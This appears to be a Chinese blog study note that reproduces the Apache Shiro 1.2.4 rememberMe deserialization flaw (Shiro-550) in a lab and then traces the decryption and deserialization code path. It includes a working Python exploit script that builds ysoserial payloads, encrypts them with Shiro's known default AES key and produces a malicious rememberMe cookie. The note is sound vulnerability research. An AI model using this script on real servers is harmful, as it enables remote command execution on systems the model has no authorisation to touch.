Java Shiro 550 rememberMe反序列化
前言:这篇作为Shiro 550 反序列化分析的笔记
不懂的问题
1、当环境中存在commons-collection-4.0依赖的时候,为什么同为commons-collection-4.0的cc4调用链在攻击shiro中无法进行利用?因为自己在测试的时候发现只有cc2和cc8可以进行利用,正常的话cc4应该也是可以的!
2、为什么yso的1.9.2在shiro-1.2.4中的commons-beanutils-1.8.3中无法进行利用?
这两个问题在后面的笔记中进行记录,参考文章:https://www.cnblogs.com/zpchcbd/p/14957034.html
环境搭建
https://codeload.github.com/apache/shiro/zip/refs/tags/shiro-root-1.2.4
因为我们这里攻击的话需要用到相关的cc依赖,所以还需要现在工程下面添加依赖,jstl库是shiro core自身需要用到的,commons-collection4是为了漏洞环境准备的
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<!-- 配置版本 -->
<version>1.2</version>
<scope>runtime</scope>
</dependency>
<!-- 依赖cc链 -->
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

如果遇到toolchains的相关报错问题则将maven的conf下的toolchains.xml修改为如下:
<?xml version="1.0" encoding="UTF8"?>
<toolchains>
<toolchain>
<type>jdk</type>
<provides>
<version>1.6</version>
<vendor>sun</vendor>
</provides>
<configuration>
<jdkHome>C:\Program Files\Java\jdk1.8.0_181</jdkHome>
</configuration>
</toolchain>
</toolchains>

接着使用maven进行打包war包

打包的war包放在tomcat的webapps目录下,然后启动tomcat服务。

访问:

漏洞复现
这里用一个脚本来进行实现:
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(payload,command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', payload, command], stdout=subprocess.PIPE) # yso注意点
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA==" # 注意点
mode = AES.MODE_CBC
#iv = base64.b64decode(rememberMe)[:16]
iv = uuid.uuid4().bytes
print(iv)
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
print(sys.argv[1],sys.argv[2])
payload = encode_rememberme(sys.argv[1],sys.argv[2])
with open("payload.cookie", "w") as fpw:
print("rememberMe={}".format(payload.decode()), file=fpw)
生成的payload如下:

请求发送,结果如下:

工具检测:

环境变化
前置知识点:在shiro-1.2.4-core中本身就存在一个依赖,这个依赖为commons-beanutils-1.8.3

那么此时我把commons-collections4去掉,重新进行打包war包

这里重新用的还是cc2的利用链,已经无法进行命令执行了,但是我们yso中也存在一条commons-beanutils-1.9.2的利用

这里可能会问图中那后面的"commons-collections:3.1, commons-logging:1.2" 这两个依赖存在吗?存在的,maven最大的特点就是会把该库相关的依赖都导入。
这里就使用commons-beanutils-1.9.2 试试,我这里测试会发现打不了!
那么真的是打不了吗?因为yso中使用的是commons-beanutils-1.9.2,而shiro core中使用的是commons-beanutils1.8.3
工具利用,这个工具是基于yso来进行生成payload的,那么就跟前面的一致

实际上是可以利用的,这个问题放到后面一篇文章中进行记录,这篇文章主要讲述shiro1.2.4的反序列化
反序列化分析
通过观察,在shiro有一个单独的cookie的解析器为org/apache/shiro/web/mgt/CookieRememberMeManager.java
org/apache/shiro/web/mgt/CookieRememberMeManager.java#getRememberedSerializedIdentity这个方法则对每次的HTTP请求接收的cookie进行解析,首先进行操作的就是Base64解码

而调用这个方法的则是它的父类org/apache/shiro/mgt/AbstractRememberMeManager.java#getRememberedPrincipals

而getRememberedPrincipals方法中当通过getRememberedSerializedIdentity获得了字节之后,这里还会将其作为convertBytesToPrincipals的参数进行执行,convertBytesToPrincipals方法为如下,此时的字节数据已经是Base64进行解码的了,这里的encrypt则是进行解密

getCipherService方法是获得一个关于AES加密的对象

接着继续跟进encrypt中,可以看到还是继续进行解密的操作

它使用的是org/apache/shiro/crypto/JcaCipherService.java,JcaCpherService的加解密对象
接着就是JcaCipherService#public ByteSource decrypt(byte[] ciphertext, byte[] key),这个方法中就是生成IV值 和 设置IV值和要解密的内容的存储位置

接着就是下面的decrypt(encrypted, key, iv)方法,这里则声明了解密的模式为javax.crypto.Cipher.DECRYPT_MODE

接着就是通过Cipher来进行加密返回字节流

最后返回到了convertBytesToPrincipals,开始对这个字节流进行反序列化

Shiro自己实现了一个反序列化类org/apache/shiro/io/DefaultSerializer.java#deserialize,这里的readOjbect进行反序列化,最后触发反序列化

攻击路径:
1、先将反序列化链条生成的对象,将其用AES算法对应的密钥进行加密
2、接着填充前16个字节为任意值,接着填充后面的内容为AES加密后的字节
3、整个字节数据进行Base64编码,然后发送给目标
问题:
1、这条攻击路径中什么才是重要的?
答案:AES算法所用的KEY密钥,其他的都是可控,唯独这个为不可控,如果这个可控了,那么所有的数据都可控。

浙公网安备 33010602011771号